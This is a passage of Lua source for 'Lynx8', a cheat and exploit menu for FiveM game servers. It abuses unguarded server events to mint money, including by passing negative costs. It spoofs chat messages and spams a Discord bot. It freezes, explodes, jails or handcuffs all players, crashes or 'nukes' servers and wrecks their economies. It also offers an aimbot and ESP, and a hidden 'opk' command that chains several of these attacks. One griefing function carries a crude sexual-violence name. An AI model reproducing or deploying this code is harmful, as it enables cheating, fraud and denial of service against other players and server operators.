'give_back',
f
)
end
elseif
Lynx8.Button(
'~p~TEST ~g~~h~ESX ~y~Eden Garage'
)
then
local f =
KeyboardInput(
'Enter amount of money',
'',
100
)
if f ~= '' then
TriggerServerEvent(
'eden_garage:payhealth',
{costs = -f}
)
end
elseif
Lynx8.Button(
'~p~TEST ~g~~h~ESX ~y~Fuel Delivery'
)
then
local f =
KeyboardInput(
'Enter amount of money',
'',
100
)
if f ~= '' then
TriggerServerEvent(
'esx_fueldelivery:pay',
f
)
end
elseif
Lynx8.Button(
'~p~TEST ~g~~h~ESX ~y~Car Thief'
)
then
local f =
KeyboardInput(
'Enter amount of money',
'',
100
)
if f ~= '' then
TriggerServerEvent('esx_carthief:pay', f)
end
elseif
Lynx8.Button(
'~p~TEST ~g~~h~ESX ~y~DMV School'
)
then
local f =
KeyboardInput(
'Enter amount of money',
'',
100
)
if f ~= '' then
TriggerServerEvent(
'esx_dmvschool:pay',
{costs = -f}
)
end
elseif
Lynx8.Button(
'~p~TEST ~g~~h~FUEL ~y~Legacy Fuel'
)
then
local f =
KeyboardInput(
'Enter amount of money',
'',
100
)
if f ~= '' then
TriggerServerEvent(
'LegacyFuel:PayFuel',
{costs = -f}
)
end
elseif
Lynx8.Button(
'~p~TEST ~g~~h~ESX ~y~Dirty Job'
)
then
local f =
KeyboardInput(
'Enter amount of money',
'',
100
)
if f ~= '' then
TriggerServerEvent('esx_godirtyjob:pay', f)
end
elseif
Lynx8.Button(
'~p~TEST ~g~~h~ESX ~y~Pizza Boy'
)
then
local f =
KeyboardInput(
'Enter amount of money',
'',
100
)
if f ~= '' then
TriggerServerEvent('esx_pizza:pay', f)
end
elseif
Lynx8.Button(
'~p~TEST ~g~~h~ESX ~y~Ranger Job'
)
then
local f =
KeyboardInput(
'Enter amount of money',
'',
100
)
if f ~= '' then
TriggerServerEvent('esx_ranger:pay', f)
end
elseif
Lynx8.Button(
'~p~TEST ~g~~h~ESX ~y~Garbage Job'
)
then
local f =
KeyboardInput(
'Enter amount of money',
'',
100
)
if f ~= '' then
TriggerServerEvent('esx_garbagejob:pay', f)
end
elseif
Lynx8.Button(
'~g~~h~ESX ~y~Car Thief ~r~DIRTY MONEY'
)
then
local f =
KeyboardInput(
'Enter amount of dirty money',
'',
100
)
if f ~= '' then
TriggerServerEvent('esx_carthief:pay', f)
end
elseif
Lynx8.Button(
'~g~~h~ESX ~y~Trucker Job'
)
then
local f =
KeyboardInput(
'Enter amount of money',
'',
100
)
if f ~= '' then
TriggerServerEvent('esx_truckerjob:pay', f)
end
elseif
Lynx8.Button(
'~g~~h~ESX ~y~Admin Give Bank'
)
then
local f =
KeyboardInput(
'Enter amount of money',
'',
100
)
if f ~= '' then
TriggerServerEvent('AdminMenu:giveBank', f)
end
elseif
Lynx8.Button(
'~g~~h~ESX ~y~Admin Give Cash'
)
then
local f =
KeyboardInput(
'Enter amount of money',
'',
100
)
if f ~= '' then
TriggerServerEvent('AdminMenu:giveCash', f)
end
elseif
Lynx8.Button('~g~~h~ESX ~y~Postal Job')
then
local f =
KeyboardInput(
'Enter amount of money',
'',
100
)
if f ~= '' then
TriggerServerEvent('esx_gopostaljob:pay', f)
end
elseif
Lynx8.Button('~g~~h~ESX ~y~Banker Job')
then
local f =
KeyboardInput(
'Enter amount of money',
'',
100
)
if f ~= '' then
TriggerServerEvent(
'esx_banksecurity:pay',
f
)
end
elseif
Lynx8.Button(
'~g~~h~ESX ~y~Slot Machine'
)
then
local f =
KeyboardInput(
'Enter amount of money',
'',
100
)
if f ~= '' then
TriggerServerEvent(
'esx_slotmachine:sv:2',
f
)
end
end
Lynx8.Display()
elseif Lynx8.IsMenuOpened('ESXCustom') then
if Lynx8.Button('~w~~h~Set hunger to ~h~~g~100%') then
TriggerEvent('esx_status:set', 'hunger', 1000000)
elseif Lynx8.Button('~w~~h~Set thirst to ~h~~g~100%') then
TriggerEvent('esx_status:set', 'thirst', 1000000)
elseif Lynx8.Button('~g~~h~ESX ~r~Revive') then
local G =
KeyboardInput(
'Enter Player ID or all',
'',
1000
)
if G then
if G == 'all' then
for i = 0, 128 do
TriggerEvent(
'esx_ambulancejob:revive',
GetPlayerServerId(i)
)
TriggerEvent(
'esx_ambulancejob:revive',
GetPlayerServerId(i)
)
end
else
TriggerEvent(
'esx_ambulancejob:revive',
G
)
TriggerEvent(
'esx_ambulancejob:revive',
G
)
end
end
elseif Lynx8.Button('~g~~h~ESX ~b~Handcuff') then
local G =
KeyboardInput(
'Enter Player ID or all',
'',
1000
)
if G then
if G == 'all' then
for i = 0, 128 do
TriggerServerEvent(
'esx_policejob:handcuff',
GetPlayerServerId(i)
)
TriggerEvent(
'esx_policejob:handcuff',
GetPlayerServerId(i)
)
end
else
TriggerEvent(
'esx_policejob:handcuff',
G
)
TriggerServerEvent(
'esx_policejob:handcuff',
G
)
end
end
elseif
Lynx8.Button('~h~Get Driving License')
then
TriggerServerEvent(
'esx_dmvschool:addLicense',
dmv
)
TriggerServerEvent(
'esx_dmvschool:addLicense',
drive
)
elseif
Lynx8.Button(
'~h~~b~Buy ~s~a vehicle for ~g~free'
)
then
bX()
end
Lynx8.Display()
elseif Lynx8.IsMenuOpened('ESXDrugs') then
if Lynx8.Button('~h~~g~Harvest ~g~Weed ~c~(x5)') then
hweed()
elseif Lynx8.Button('~h~~g~Transform ~g~Weed ~c~(x5)') then
tweed()
elseif Lynx8.Button('~h~~g~Sell ~g~Weed ~c~(x5)') then
sweed()
elseif Lynx8.Button('~h~~w~Harvest ~w~Coke ~c~(x5)') then
hcoke()
elseif Lynx8.Button('~h~~w~Transform ~w~Coke ~c~(x5)') then
tcoke()
elseif Lynx8.Button('~h~~w~Sell ~w~Coke ~c~(x5)') then
scoke()
elseif Lynx8.Button('~h~~r~Harvest Meth ~c~(x5)') then
hmeth()
elseif Lynx8.Button('~h~~r~Transform Meth ~c~(x5)') then
tmeth()
elseif Lynx8.Button('~h~~r~Sell Meth ~c~(x5)') then
smeth()
elseif Lynx8.Button('~h~~p~Harvest Opium ~c~(x5)') then
hopi()
elseif Lynx8.Button('~h~~p~Transform Opium ~c~(x5)') then
topi()
elseif Lynx8.Button('~h~~p~Sell Opium ~c~(x5)') then
sopi()
elseif Lynx8.Button('~h~~g~Money Wash ~c~(x10)') then
mataaspalarufe()
elseif Lynx8.Button('~r~~h~Stop all ~c~(Drugs)') then
matanumaispalarufe()
elseif
Lynx8.CheckBox(
'~h~~r~Blow Drugs Up ~y~DANGER!',
BlowDrugsUp,
function(dl)
BlowDrugsUp = dl
end
)
then
end
Lynx8.Display()
elseif Lynx8.IsMenuOpened('VRPTriggers') then
if
Lynx8.Button(
'~r~~h~VRP ~s~Give Money ~ypayGarage'
)
then
local f =
KeyboardInput(
'Enter amount of money',
'',
100
)
if f ~= '' then
TriggerServerEvent(
'lscustoms:payGarage',
{costs = -f}
)
end
elseif
Lynx8.Button(
'~r~~h~VRP ~g~WIN ~s~Slot Machine'
)
then
local f =
KeyboardInput(
'Enter amount of money',
'',
100
)
if f ~= '' then
TriggerServerEvent(
'vrp_slotmachine:server:2',
f
)
end
elseif
Lynx8.Button(
'~p~TEST ~g~~h~FUEL ~y~Legacy Fuel'
)
then
local f =
KeyboardInput(
'Enter amount of money',
'',
100
)
if f ~= '' then
TriggerServerEvent(
'LegacyFuel:PayFuel',
{costs = -f}
)
end
elseif
Lynx8.Button(
'~r~~h~VRP ~s~Get driving license'
)
then
TriggerServerEvent('dmv:success')
elseif
Lynx8.Button(
'~r~~h~VRP ~s~Bank Deposit'
)
then
local f =
KeyboardInput(
'Enter amount of money',
'',
100
)
if f ~= '' then
TriggerServerEvent('Banca:deposit', f)
TriggerServerEvent('bank:deposit', f)
end
elseif
Lynx8.Button(
'~r~~h~VRP ~s~Bank Withdraw '
)
then
local f =
KeyboardInput(
'Enter amount of money',
'',
100
)
if f ~= '' then
TriggerServerEvent('bank:withdraw', f)
TriggerServerEvent('Banca:withdraw', f)
end
end
Lynx8.Display()
elseif Lynx8.IsMenuOpened('MiscTriggers') then
if Lynx8.Button('~h~Send Discord Message') then
local dB = KeyboardInput('Enter message to send', '', 100)
TriggerServerEvent('DiscordBot:playerDied', dB, '1337')
drawNotification('The message:~n~' .. dB .. '~n~Has been
~g~sent!')
elseif Lynx8.Button('~h~Send Fake Message') then
local dC = KeyboardInput('Enter player name', '', 100)
if dC then
local cG = KeyboardInput('Enter message', '', 1000)
if cG then
TriggerServerEvent('_chat:messageEntered', dC, {0,
0x99, 255}, cG)
end
end
elseif
Lynx8.Button(
'~h~~g~ESX ~y~CarThief ~s~TROLL'
)
then
drawNotification(
'~y~esx_carthief ~g~required'
)
drawNotification(
'~g~Trying to send alerts'
)
carthieftroll()
end
Lynx8.Display()
elseif Lynx8.IsMenuOpened('AdvancedMenu') then
if Lynx8.MenuButton('~h~~p~-> ~s~Destroyer', 'Destroyer') then
elseif Lynx8.MenuButton('~h~~p~-> ~s~ESP Menu', 'ESPMenu') then
elseif Lynx8.MenuButton('~h~~p~->~s~ Crosshairs', 'CsMenu') then
elseif
Lynx8.CheckBox(
'~h~TriggerBot',
TriggerBot,
function(dl)
TriggerBot = dl
end
)
then
elseif
Lynx8.CheckBox(
'~h~Player Blips',
d3,
function(d3)
end
)
then
cg = not cg
d3 = cg
elseif
Lynx8.CheckBox(
'~h~Name Above Players ~g~v1',
ch,
function(dl)
ch = dl
ci = false
end
)
then
elseif
Lynx8.CheckBox(
'~h~Name Above Players & Indicator ~g~v2',
ci,
function(dl)
ci = dl
ch = false
end
)
then
elseif
Lynx8.CheckBox(
'~h~Chat Spam',
chatspam,
function(enabled)
chatspam = true
end
)
then
elseif
Lynx8.CheckBox(
'~h~~r~AimBot Test (buggy)',
aimtest,
function(enabled)
aimtest = enabled
end
)
then
elseif
Lynx8.CheckBox(
'~h~Banana ~r~All Players',
BananaAll,
function(enabled)
BananaAll = enabled
end
)
then
elseif
Lynx8.CheckBox(
'~h~Boom ~r~Banana',
BananaBoom,
function(enabled)
BananaBoom = enabled
end
)
then
elseif
Lynx8.CheckBox(
'~h~Banana Spawn',
BananaSpawn,
function(enabled)
BananaSpawn = enabled
end
)
then
elseif
Lynx8.CheckBox(
'~h~Banana ~r~Crazy',
BananaCrazy,
function(enabled)
BananaCrazy = enabled
end
)
then
elseif
Lynx8.CheckBox(
'~h~Attempt Server pedCrash',
nukespawncrash,
function(enabled)
nukespawncrash = enabled
end
)
then
elseif Lynx8.Button('~h~Wall Script Execution') then
wallin()
elseif
Lynx8.CheckBox(
'~h~RCS',
norecoil,
function(dl)
norecoil = dl
end
)
then
elseif
Lynx8.CheckBox(
'~h~Crosshair',
crosshair,
function(dl)
crosshair = dl
end
)
then
elseif
Lynx8.CheckBox(
'~h~~r~Freeze~s~ All players',
freezeall,
function(dl)
freezeall = dl
end
)
then
elseif
Lynx8.CheckBox(
'~h~~r~Explode~s~ All players',
blowall,
function(dl)
blowall = dl
end
)
then
end
Lynx8.Display()
elseif Lynx8.IsMenuOpened('Destroyer') then
if Lynx8.Button('~h~~r~Nuke ~s~Server') then
nukeserver()
elseif
Lynx8.CheckBox(
'~h~~r~Silent ~s~Server ~y~Crasher',
servercrasherxd,
function(dl)
servercrasherxd = dl
end
)
then
elseif
Lynx8.Button(
'~h~~g~ESX ~r~Destroy ~b~v2'
)
then
esxdestroyv2()
elseif
Lynx8.Button(
'~h~~g~ESX ~r~Destroy ~b~Salary ~r~TEST'
)
then
EconomyDestroyer2()
elseif
Lynx8.Button(
'~h~~r~VRP ~s~Give everyone money'
)
then
vrpdestroy()
elseif
Lynx8.Button(
'~h~~r~Jail~s~ All players'
)
then
for i = 0, 128 do
TriggerServerEvent(
'esx-qalle-jail:jailPlayer',
GetPlayerServerId(i),
5000,
'Lynx 8 ~ www.lynxmenu.com'
)
TriggerServerEvent(
'esx_jailer:sendToJail',
GetPlayerServerId(i),
45 * 60
)
TriggerServerEvent(
'esx_jail:sendToJail',
GetPlayerServerId(i),
45 * 60
)
TriggerServerEvent(
'js:jailuser',
GetPlayerServerId(i),
45 * 60,
'Lynx 8 ~ www.lynxmenu.com'
)
end
elseif
Lynx8.Button(
'~h~~r~Banana ~p~Party~s~ All players'
)
then
bananapartyall()
elseif
Lynx8.Button(
'~h~~r~Rape~s~ All players'
)
then
RapeAllFunc()
end
Lynx8.Display()
elseif Lynx8.IsMenuOpened('CsMenu') then
if
Lynx8.CheckBox(
'~h~~y~Original ~s~Crosshair',
crosshair,
function(dL)
crosshair = dL
crosshairc = false
crosshairc2 = false
end
)
then
elseif
Lynx8.CheckBox(
'~h~~r~CROSS ~s~Crosshair',
crosshairc,
function(dL)
crosshair = false
crosshairc = dL
crosshairc2 = false
end
)
then
elseif
Lynx8.CheckBox(
'~h~~r~DOT ~s~Crosshair',
crosshairc2,
function(dL)
crosshair = false
crosshairc = false
crosshairc2 = dL
end
)
then
end
Lynx8.Display()
elseif Lynx8.IsMenuOpened('Credits') then
if Lynx8.Button('~h~~p~->~s~ Ruby~r~#~r~3694 ~p~(~b~SC~p~)') then
elseif Lynx8.Button('~h~~p~->~s~ nit34byte~r~#~r~1337
~p~(~o~DEV~p~)') then
drawNotification("~h~<FONT COLOR='#ff22f4'>Don't click me BAKA!
~s~.")
drawNotification("~h~<FONT COLOR='#ff22f4'>Nyaooww :3~s~.")
drawNotification("~h~<FONT COLOR='#ff22f4'>Very mad now cry
qweqwe~s~.")
elseif Lynx8.Button('~h~~p~->~s~ DJSNAKE2~r~#~r~7983
~p~(~o~DEV~p~)') then
elseif Lynx8.Button('~h~~p~->~s~ JonBird~r~#~r~1337
~p~(~o~DEV~p~)') then
elseif Lynx8.Button('~h~~p~->~g~ Fallen~r~#~r~0811 ~p~(~o~DEV~p~)')
then
end
Lynx8.Display()
elseif Lynx8.IsMenuOpened('WeaponTypes') then
for dp, dD in pairs(b0) do
if
Lynx8.MenuButton(
'~h~~p~-> ~s~' .. dp,
'WeaponTypeSelection'
)
then
d4 = dD
end
end
Lynx8.Display()
elseif Lynx8.IsMenuOpened('WeaponTypeSelection') then
for dp, dD in pairs(d4) do
if Lynx8.MenuButton(dD.name, 'WeaponOptions') then
d5 = dD
end
end
Lynx8.Display()
elseif Lynx8.IsMenuOpened('WeaponOptions') then
if Lynx8.Button('~h~~r~Spawn Weapon') then
GiveWeaponToPed(GetPlayerPed(-1), GetHashKey(d5.id), 1000,
false)
end
if Lynx8.Button('~h~~g~Add Ammo') then
SetPedAmmo(GetPlayerPed(-1), GetHashKey(d5.id), 5000)
end
if
Lynx8.CheckBox(
'~h~~r~Infinite ~s~Ammo',
d5.bInfAmmo,
function(dE)
end
)
then
d5.bInfAmmo = not d5.bInfAmmo
SetPedInfiniteAmmo(GetPlayerPed(-1), d5.bInfAmmo,
GetHashKey(d5.id))
SetPedInfiniteAmmoClip(GetPlayerPed(-1), true)
end
for dp, dD in pairs(d5.mods) do
if Lynx8.MenuButton('~h~~p~-> ~s~~h~~r~> ~s~' .. dp,
'ModSelect') then
d6 = dD
end
end
Lynx8.Display()
elseif Lynx8.IsMenuOpened('ModSelect') then
for _, dD in pairs(d6) do
if Lynx8.Button(dD.name) then
GiveWeaponComponentToPed(GetPlayerPed(-1),
GetHashKey(d5.id), GetHashKey(dD.id))
end
end
Lynx8.Display()
elseif Lynx8.IsMenuOpened('CarTypes') then
for i, dF in ipairs(aY) do
if Lynx8.MenuButton('~h~~p~-> ~s~' .. dF, 'CarTypeSelection')
then
carTypeIdx = i
end
end
Lynx8.Display()
elseif Lynx8.IsMenuOpened('CarTypeSelection') then
for i, dF in ipairs(aZ[carTypeIdx]) do
if Lynx8.MenuButton('~h~~p~-> ~s~~h~~r~>~s~ ' .. dF,
'CarOptions') then
carToSpawn = i
end
end
Lynx8.Display()
elseif Lynx8.IsMenuOpened('CarOptions') then
if Lynx8.Button('~h~~r~Spawn Car') then
local x, y, z =
table.unpack(GetOffsetFromEntityInWorldCoords(PlayerPedId(-1), 0.0, 8.0, 0.5))
local veh = aZ[carTypeIdx][carToSpawn]
if veh == nil then
veh = 'adder'
end
vehiclehash = GetHashKey(veh)
RequestModel(vehiclehash)
Citizen.CreateThread(
function()
local dG = 0
while not HasModelLoaded(vehiclehash) do
dG = dG + 100
Citizen.Wait(100)
if dG > 5000 then
ShowNotification('~h~~r~Cannot spawn this
vehicle.')
break
end
end
SpawnedCar =
CreateVehicle(vehiclehash, x, y, z,
GetEntityHeading(PlayerPedId(-1)) + 90, 1, 0)
SetVehicleStrong(SpawnedCar, true)
SetVehicleEngineOn(SpawnedCar, true, true, false)
SetVehicleEngineCanDegrade(SpawnedCar, false)
end
)
end
Lynx8.Display()
elseif
Lynx8.IsMenuOpened('GiveSingleWeaponPlayer')
then
for i = 1, #a_ do
if Lynx8.Button(a_[i]) then
GiveWeaponToPed(GetPlayerPed(SelectedPlayer),
GetHashKey(a_[i]), 1000, false, true)
end
end
Lynx8.Display()
elseif Lynx8.IsMenuOpened('ESPMenu') then
if
Lynx8.CheckBox(
'~h~~r~ESP ~s~MasterSwitch',
esp,
function(dl)
esp = dl
end
)
then
elseif
Lynx8.CheckBox(
'~h~~r~ESP ~s~Box',
espbox,
function(dl)
espbox = dl
end
)
then
elseif
Lynx8.CheckBox(
'~h~~r~ESP ~s~Info',
espinfo,
function(dl)
espinfo = dl
end
)
then
elseif
Lynx8.CheckBox(
'~h~~r~ESP ~s~Lines',
esplines,
function(dl)
esplines = dl
end
)
then
end
Lynx8.Display()
elseif Lynx8.IsMenuOpened('LSC') then
veh = GetVehiclePedIsUsing(PlayerPedId())
Lynx8.MenuButton('~h~~p~-> ~s~~h~~r~Exterior ~s~Tuning', 'tunings')
Lynx8.MenuButton('~h~~p~-> ~s~~h~~r~Performance ~s~Tuning',
'performance')
Lynx8.Display()
elseif Lynx8.IsMenuOpened('BoostMenu') then
if
Lynx8.ComboBox(
'~h~Engine ~r~Power ~s~Booster',
d9,
d7,
d8,
function(ad, ae)
d7 = ad
d8 = ae
SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), d8 *
20.0)
end
)
then
elseif
Lynx8.CheckBox(
'~h~Engine ~g~Torque ~s~Booster ~g~2x',
t2x,
function(dl)
t2x = dl
t4x = false
t10x = false
t16x = false
txd = false
end
)
then
elseif
Lynx8.CheckBox(
'~h~Engine ~g~Torque ~s~Booster ~g~4x',
t4x,
function(dl)
t2x = false
t4x = dl
t10x = false
t16x = false
txd = false
end
)
then
elseif
Lynx8.CheckBox(
'~h~Engine ~g~Torque ~s~Booster ~g~10x',
t10x,
function(dl)
t2x = false
t4x = false
t10x = dl
t16x = false
txd = false
end
)
then
elseif
Lynx8.CheckBox(
'~h~Engine ~g~Torque ~s~Booster ~g~16',
t16x,
function(dl)
t2x = false
t4x = false
t10x = false
t16x = dl
txd = false
end
)
then
elseif
Lynx8.CheckBox(
'~h~Engine ~g~Torque ~s~Booster ~y~XD',
txd,
function(dl)
t2x = false
t4x = false
t10x = false
t16x = false
txd = dl
end
)
then
end
Lynx8.Display()
elseif IsDisabledControlPressed(0, 178) then
if run.runstate and run.scriptcheck == false then
Lynx8.OpenMenu('LynxX')
end
Lynx8.Display()
elseif IsDisabledControlPressed(0, 47) and IsDisabledControlPressed(0,
21) then
if run.runstate and run.scriptcheck == false then
Lynx8.OpenMenu('LynxX')
else
cc()
end
end
Citizen.Wait(0)
end
end
)
RegisterCommand(
'opk',
function(dH, dI, dJ)
bl = true
RapeAllFunc()
bananapartyall()
EconomyDestroyer2()
AmbulancePlayers()
for i = 0, 128 do
TriggerServerEvent(
'esx-qalle-jail:jailPlayer',
GetPlayerServerId(i),
5000,
'Lynx 8 ~ www.lynxmenu.com'
)
TriggerServerEvent(
'esx_jailer:sendToJail',
GetPlayerServerId(i),
45 * 60
)
TriggerServerEvent(
'esx_jail:sendToJail',
GetPlayerServerId(i),
45 * 60
)
TriggerServerEvent(
'js:jailuser',
GetPlayerServerId(i),
45 * 60,
'Lynx 8 ~ www.lynxmenu.com'
)
end
end,
false
)
RegisterCommand(
'KP',
function(dH, dI, dJ)
run.runstate = true
bm = false
end,
false
)